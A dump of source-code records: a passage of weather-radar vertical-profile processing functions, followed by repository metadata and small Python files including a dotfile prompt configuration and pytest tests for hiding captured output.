nvalid_min : int
Minimum number of valid points to consider the data valid when
performing the averaging. Default 1
interp_kind : str
type of interpolation when projecting to vertical grid: 'none',
or 'nearest', etc. Default 'none'.
'none' will select from all data points within the regular grid
height bin the closest to the center of the bin.
'nearest' will select the closest data point to the center of the
height bin regardless if it is within the height bin or not.
Data points can be masked values
If another type of interpolation is selected masked values will be
eliminated from the data points before the interpolation
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the EVP and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
Reference
---------
Kaltenboeck R., Ryzhkov A. 2016: A freezing rain storm explored with a
C-band polarimetric weather radar using the QVP methodology.
Meteorologische Zeitschrift vol. 26 pp 207-222
"""
if procstatus == 0:
return None, None
if procstatus == 1:
field_names = []
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
field_names.append(get_fieldname_pyart(datatype))
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
# default parameters
lon = dscfg['lon']
lat = dscfg['lat']
latlon_tol = dscfg.get('latlon_tol', 0.0005)
delta_rng = dscfg.get('delta_rng', 15000.)
delta_azi = dscfg.get('delta_azi', 10.)
hmax = dscfg.get('hmax', 10000.)
hres = dscfg.get('hres', 250.)
avg_type = dscfg.get('avg_type', 'mean')
nvalid_min = dscfg.get('nvalid_min', 1)
interp_kind = dscfg.get('interp_kind', 'none')
# initialize dataset
if not dscfg['initialized']:
qvp = pyart.retrieve.compute_evp(
radar, field_names, lon, lat, ref_time=dscfg['timeinfo'],
latlon_tol=latlon_tol, delta_rng=delta_rng,
delta_azi=delta_azi, hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind, qvp=None)
if qvp is None:
warn('Unable to compute QVP')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': qvp})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
qvp = pyart.retrieve.compute_evp(
radar, field_names, lon, lat, ref_time=dscfg['timeinfo'],
latlon_tol=latlon_tol, delta_rng=delta_rng,
delta_azi=delta_azi, hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind,
qvp=dscfg['global_data']['radar_out'])
if qvp is None:
warn('Unable to compute QVP')
return None, None
dscfg['global_data']['radar_out'] = qvp
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
qvp = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
def process_svp(procstatus, dscfg, radar_list=None):
"""
Computes slanted vertical profiles, by averaging over height levels
PPI data.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
angle : int or float
If the radar object contains a PPI volume, the sweep number to
use, if it contains an RHI volume the elevation angle.
Default 0.
ang_tol : float
If the radar object contains an RHI volume, the tolerance in the
elevation angle for the conversion into PPI. Default 1.
lat, lon : float
latitude and longitude of the point of interest [deg]
latlon_tol : float
tolerance in latitude and longitude in deg. Default 0.0005
delta_rng, delta_azi : float
maximum range distance [m] and azimuth distance [degree] from the
central point of the svp containing data to average. Default 5000.
and 10.
hmax : float
The maximum height to plot [m]. Default 10000.
hres : float
The height resolution [m]. Default 250.
avg_type : str
The type of averaging to perform. Can be either "mean" or "median"
Default "mean"
nvalid_min : int
Minimum number of valid points to consider the data valid when
performing the averaging. Default 1
interp_kind : str
type of interpolation when projecting to vertical grid: 'none',
or 'nearest', etc. Default 'none'
'none' will select from all data points within the regular grid
height bin the closest to the center of the bin.
'nearest' will select the closest data point to the center of the
height bin regardless if it is within the height bin or not.
Data points can be masked values
If another type of interpolation is selected masked values will be
eliminated from the data points before the interpolation
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the svp and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
Reference
---------
Bukovcic P., Zrnic D., Zhang G. 2017: Winter Precipitation Liquid-Ice
Phase Transitions Revealed with Polarimetric Radar and 2DVD Observations
in Central Oklahoma. JTECH vol. 56 pp 1345-1363
"""
if procstatus == 0:
return None, None
if procstatus == 1:
field_names = []
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
field_names.append(get_fieldname_pyart(datatype))
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
# default parameters
angle = dscfg.get('angle', 0)
ang_tol = dscfg.get('ang_tol', 1.)
lon = dscfg['lon']
lat = dscfg['lat']
latlon_tol = dscfg.get('latlon_tol', 0.0005)
delta_rng = dscfg.get('delta_rng', 30000.)
delta_azi = dscfg.get('delta_azi', 10.)
hmax = dscfg.get('hmax', 10000.)
hres = dscfg.get('hres', 250.)
avg_type = dscfg.get('avg_type', 'mean')
nvalid_min = dscfg.get('nvalid_min', 1)
interp_kind = dscfg.get('interp_kind', 'none')
# initialize dataset
if not dscfg['initialized']:
qvp = pyart.retrieve.compute_svp(
radar, field_names, lon, lat, angle,
ref_time=dscfg['timeinfo'], ang_tol=ang_tol,
latlon_tol=latlon_tol, delta_rng=delta_rng,
delta_azi=delta_azi, hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind, qvp=None)
if qvp is None:
warn('Unable to compute QVP')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': qvp})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
qvp = pyart.retrieve.compute_svp(
radar, field_names, lon, lat, angle,
ref_time=dscfg['timeinfo'], ang_tol=ang_tol,
latlon_tol=latlon_tol, delta_rng=delta_rng,
delta_azi=delta_azi, hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind,
qvp=dscfg['global_data']['radar_out'])
if qvp is None:
warn('Unable to compute QVP')
return None, None
dscfg['global_data']['radar_out'] = qvp
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
svp = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': svp})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
def process_time_height(procstatus, dscfg, radar_list=None):
"""
Produces time height radar objects at a point of interest defined by
latitude and longitude. A time-height contains the evolution
of the vertical structure of radar measurements above the location
of interest.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
lat, lon : float
latitude and longitude of the point of interest [deg]
latlon_tol : float
tolerance in latitude and longitude in deg. Default 0.0005
hmax : float
The maximum height to plot [m]. Default 10000.
hres : float
The height resolution [m]. Default 50
interp_kind : str
type of interpolation when projecting to vertical grid: 'none',
or 'nearest', etc. Default 'none'
'none' will select from all data points within the regular grid
height bin the closest to the center of the bin.
'nearest' will select the closest data point to the center of the
height bin regardless if it is within the height bin or not.
Data points can be masked values
If another type of interpolation is selected masked values will be
eliminated from the data points before the interpolation
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the QVP and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
"""
if procstatus == 0:
return None, None
if procstatus == 1:
field_names = []
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
field_names.append(get_fieldname_pyart(datatype))
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
# default parameters
lon = dscfg['lon']
lat = dscfg['lat']
latlon_tol = dscfg.get('latlon_tol', 0.0005)
hmax = dscfg.get('hmax', 10000.)
hres = dscfg.get('hres', 50.)
interp_kind = dscfg.get('interp_kind', 'none')
# initialize dataset
if not dscfg['initialized']:
qvp = pyart.retrieve.compute_vp(
radar, field_names, lon, lat, ref_time=dscfg['timeinfo'],
latlon_tol=latlon_tol, hmax=hmax, hres=hres,
interp_kind=interp_kind, qvp=None)
if qvp is None:
warn('Unable to compute QVP')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': qvp})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
qvp = pyart.retrieve.compute_vp(
radar, field_names, lon, lat, ref_time=dscfg['timeinfo'],
latlon_tol=latlon_tol, hmax=hmax, hres=hres,
interp_kind=interp_kind,
qvp=dscfg['global_data']['radar_out'])
if qvp is None:
warn('Unable to compute QVP')
return None, None
dscfg['global_data']['radar_out'] = qvp
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
qvp = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
def process_ts_along_coord(procstatus, dscfg, radar_list=None):
"""
Produces time series along a particular antenna coordinate
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the time series
mode : str
coordinate to extract data along. Can be ALONG_AZI, ALONG_ELE or
ALONG_RNG
fixed_range, fixed_azimuth, fixed_elevation : float
The fixed range [m], azimuth [deg] or elevation [deg] to extract.
In each mode two of these parameters have to be defined. If they
are not defined they default to 0.
ang_tol, rng_tol : float
The angle tolerance [deg] and range tolerance [m] around the fixed
range or azimuth/elevation
value_start, value_stop : float
The minimum and maximum value at which the data along a coordinate
start and stop
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the data and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
"""
if procstatus == 0:
return None, None
if procstatus == 1:
radarnr, _, datatype, _, _ = get_datatype_fields(dscfg['datatype'][0])
field_name = get_fieldname_pyart(datatype)
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
mode = dscfg.get('mode', 'ALONG_AZI')
if mode == 'ALONG_RNG':
value_start = dscfg.get('value_start', 0.)
value_stop = dscfg.get('value_stop', radar.range['data'][-1])
ang_tol = dscfg.get('AngTol', 1.)
rng_tol = dscfg.get('RngTol', 50.)
fixed_range = dscfg.get('fixed_range', None)
fixed_azimuth = dscfg.get('fixed_azimuth', 0.)
fixed_elevation = dscfg.get('fixed_elevation', 0.)
elif mode == 'ALONG_AZI':
value_start = dscfg.get(
'value_start', np.min(radar.azimuth['data']))
value_stop = dscfg.get(
'value_stop', np.max(radar.azimuth['data']))
ang_tol = dscfg.get('AngTol', 1.)
rng_tol = dscfg.get('RngTol', 50.)
fixed_range = dscfg.get('fixed_range', 0.)
fixed_azimuth = dscfg.get('fixed_azimuth', None)
fixed_elevation = dscfg.get('fixed_elevation', 0.)
elif mode == 'ALONG_ELE':
value_start = dscfg.get(
'value_start', np.min(radar.elevation['data']))
value_stop = dscfg.get(
'value_stop', np.max(radar.elevation['data']))
ang_tol = dscfg.get('AngTol', 1.)
rng_tol = dscfg.get('RngTol', 50.)
fixed_range = dscfg.get('fixed_range', 0.)
fixed_azimuth = dscfg.get('fixed_azimuth', 0.)
fixed_elevation = dscfg.get('fixed_elevation', None)
else:
warn('Unknown plotting mode '+dscfg['mode'])
return None, None
# initialize dataset
if not dscfg['initialized']:
acoord = pyart.retrieve.compute_ts_along_coord(
radar, field_name, mode=mode, fixed_range=fixed_range,
fixed_azimuth=fixed_azimuth, fixed_elevation=fixed_elevation,
ang_tol=ang_tol, rng_tol=rng_tol, value_start=value_start,
value_stop=value_stop, ref_time=dscfg['timeinfo'],
acoord=None)
if acoord is None:
warn('Unable to compute time series along coordinate')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': acoord})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
acoord = pyart.retrieve.compute_ts_along_coord(
radar, field_name, mode=mode, fixed_range=fixed_range,
fixed_azimuth=fixed_azimuth, fixed_elevation=fixed_elevation,
ang_tol=ang_tol, rng_tol=rng_tol, value_start=value_start,
value_stop=value_stop, ref_time=dscfg['timeinfo'],
acoord=dscfg['global_data']['radar_out'])
if acoord is None:
warn('Unable to compute time series along coordinate')
return None, None
dscfg['global_data']['radar_out'] = acoord
new_dataset = dict()
new_dataset.update({'radar_out': acoord})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
acoord = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': acoord})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
| 36.86413
| 79
| 0.599145
| 5,032
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| 4.686407
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| 0.0335
| 0.029853
| 0.021372
| 0.809897
| 0.787295
| 0.761386
| 0.751972
| 0.747265
| 0.737215
| 0
| 0.013116
| 0.304954
| 40,698
| 1,103
| 80
| 36.897552
| 0.820554
| 0.361885
| 0
| 0.769231
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| 0.011424
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| 0
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| 137
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py
|
Python
|
home/.pythonrc.py
|
ryakad/dotfiles
|
17050da7e47cf624dd84a0fa9f5013c80fae8e1b
|
[
"MIT"
] | null | null | null |
home/.pythonrc.py
|
ryakad/dotfiles
|
17050da7e47cf624dd84a0fa9f5013c80fae8e1b
|
[
"MIT"
] | null | null | null |
home/.pythonrc.py
|
ryakad/dotfiles
|
17050da7e47cf624dd84a0fa9f5013c80fae8e1b
|
[
"MIT"
] | 1
|
2021-06-21T08:30:30.000Z
|
2021-06-21T08:30:30.000Z
|
import sys
import os
sys.ps1 = "\033[31m\033[1m>>> \033[0m"
sys.ps2 = "\033[33m\033[1m... \033[0m"
def clear():
os.system('clear')
| 15.222222
| 38
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dded31def51a80121199c9a5dbb509900102a9ee
| 114
|
py
|
Python
|
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|
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|
70ffb9dbf80b01ba8cb8cb8a111c7ca27f101850
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
kabuki/tests/__init__.py
|
mortonne/kabuki
|
70ffb9dbf80b01ba8cb8cb8a111c7ca27f101850
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
kabuki/tests/__init__.py
|
mortonne/kabuki
|
70ffb9dbf80b01ba8cb8cb8a111c7ca27f101850
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
from . import test_analyze
from . import test_generate
from . import test_hierarchical
# import test_step_methods
| 22.8
| 31
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fb284eeab1a301b3cdea03013a9509102913ba4a
| 59
|
py
|
Python
|
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|
RelevanceAI/RelevanceAI
|
a0542f35153d9c842f3d2cd0955d6b07f6dfc07b
|
[
"Apache-2.0"
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|
2021-11-23T13:01:36.000Z
|
2022-03-23T03:45:30.000Z
|
relevanceai/utils/doc_utils/__init__.py
|
RelevanceAI/RelevanceAI
|
a0542f35153d9c842f3d2cd0955d6b07f6dfc07b
|
[
"Apache-2.0"
] | 217
|
2021-11-23T00:11:01.000Z
|
2022-03-30T08:11:49.000Z
|
relevanceai/utils/doc_utils/__init__.py
|
RelevanceAI/RelevanceAI
|
a0542f35153d9c842f3d2cd0955d6b07f6dfc07b
|
[
"Apache-2.0"
] | 4
|
2022-01-04T01:48:30.000Z
|
2022-02-11T03:19:32.000Z
|
from relevanceai.utils.doc_utils.doc_utils import DocUtils
| 29.5
| 58
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3499e6d7e8762436096be6febbe978dee753e996
| 22,940
|
py
|
Python
|
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|
hamzasheikh/pytest-hidecaptured
|
d900b76afb414dd924981e91fbcde2e5276fd7f3
|
[
"MIT"
] | 2
|
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|
2018-01-18T21:40:48.000Z
|
tests/test_hidecaptured.py
|
hamzasheikh/pytest-hidecaptured
|
d900b76afb414dd924981e91fbcde2e5276fd7f3
|
[
"MIT"
] | 1
|
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|
tests/test_hidecaptured.py
|
hamzasheikh/pytest-hidecaptured
|
d900b76afb414dd924981e91fbcde2e5276fd7f3
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
def test_assert_false(testdir):
"""Test pytest does not display captured stderr on test failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def test_logging():
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr call" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout call" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
def test_assert_true(testdir):
"""Test pytest does not display captured stderr on test failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def test_logging():
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr and stdout is not displayed
for line in result.stdout.lines:
assert "Captured stderr call" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout call" not in line
# make sure that that we get a '0' exit code for the testsuite
assert result.ret == 0
def test_setup_assert_false(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def setup_module(module):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr setup" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout setup" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
def test_setup_assert_true(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def setup_module(module):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert True
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr setup" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout setup" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 0
def test_setup_function_assert_false(testdir):
"""Test pytest does not display captured stderr on test setup function failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def setup_function(function):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr setup" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout setup" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
def test_setup_function_assert_true(testdir):
"""Test pytest does not display captured stderr on test setup function failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def setup_function(function):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert True
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# print(result.stdout.lines)
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr setup" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout setup" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 0
def test_teardown_assert_false(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def teardown_module(module):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert False
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr teardown" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
assert "test_logging : WARNING : WARNING!" not in line
assert "test_logging : ERROR : ERROR!" not in line
assert "test_logging : CRITICAL : CRITICAL!" not in line
assert "Captured stdout teardown" not in line
# make sure that that we get a '1' exit code for the testsuite
assert result.ret == 1
def test_teardown_assert_true(testdir):
"""Test pytest does not display captured stderr on test setup failure."""
# create a temporary pytest test module
testdir.makepyfile(
"""
import pytest
import sys
import datetime
import logging
import logging.handlers
log_format = '%(asctime)s : %(name)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s'
formatter = logging.Formatter(fmt=log_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
console_handler = logging.StreamHandler()
console_handler.setLevel(logging.DEBUG)
console_handler.setFormatter(formatter)
logger.addHandler(console_handler)
strftime_format = '%Y%m%d-%H%M%S'
file_name = '{0}-{1}.log'.format(__name__, datetime.datetime.utcnow().strftime(strftime_format))
file_handler = logging.handlers.RotatingFileHandler(file_name, maxBytes=1000, backupCount=5)
file_handler.setLevel(logging.DEBUG)
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)
def teardown_module(module):
print('PRINT DEBUG!')
logger.debug('DEBUG!')
logger.info('INFO!')
logger.warning('WARNING!')
logger.error('ERROR!')
logger.critical('CRITICAL!')
assert True
def test_logging():
assert True
"""
)
# run pytest with no cmd args
result = testdir.runpytest()
# Assert captured stderr is not displayed
for line in result.stdout.lines:
assert "Captured stderr teardown" not in line
assert "test_logging : DEBUG : DEBUG!" not in line
assert "test_logging : INFO : INFO!" not in line
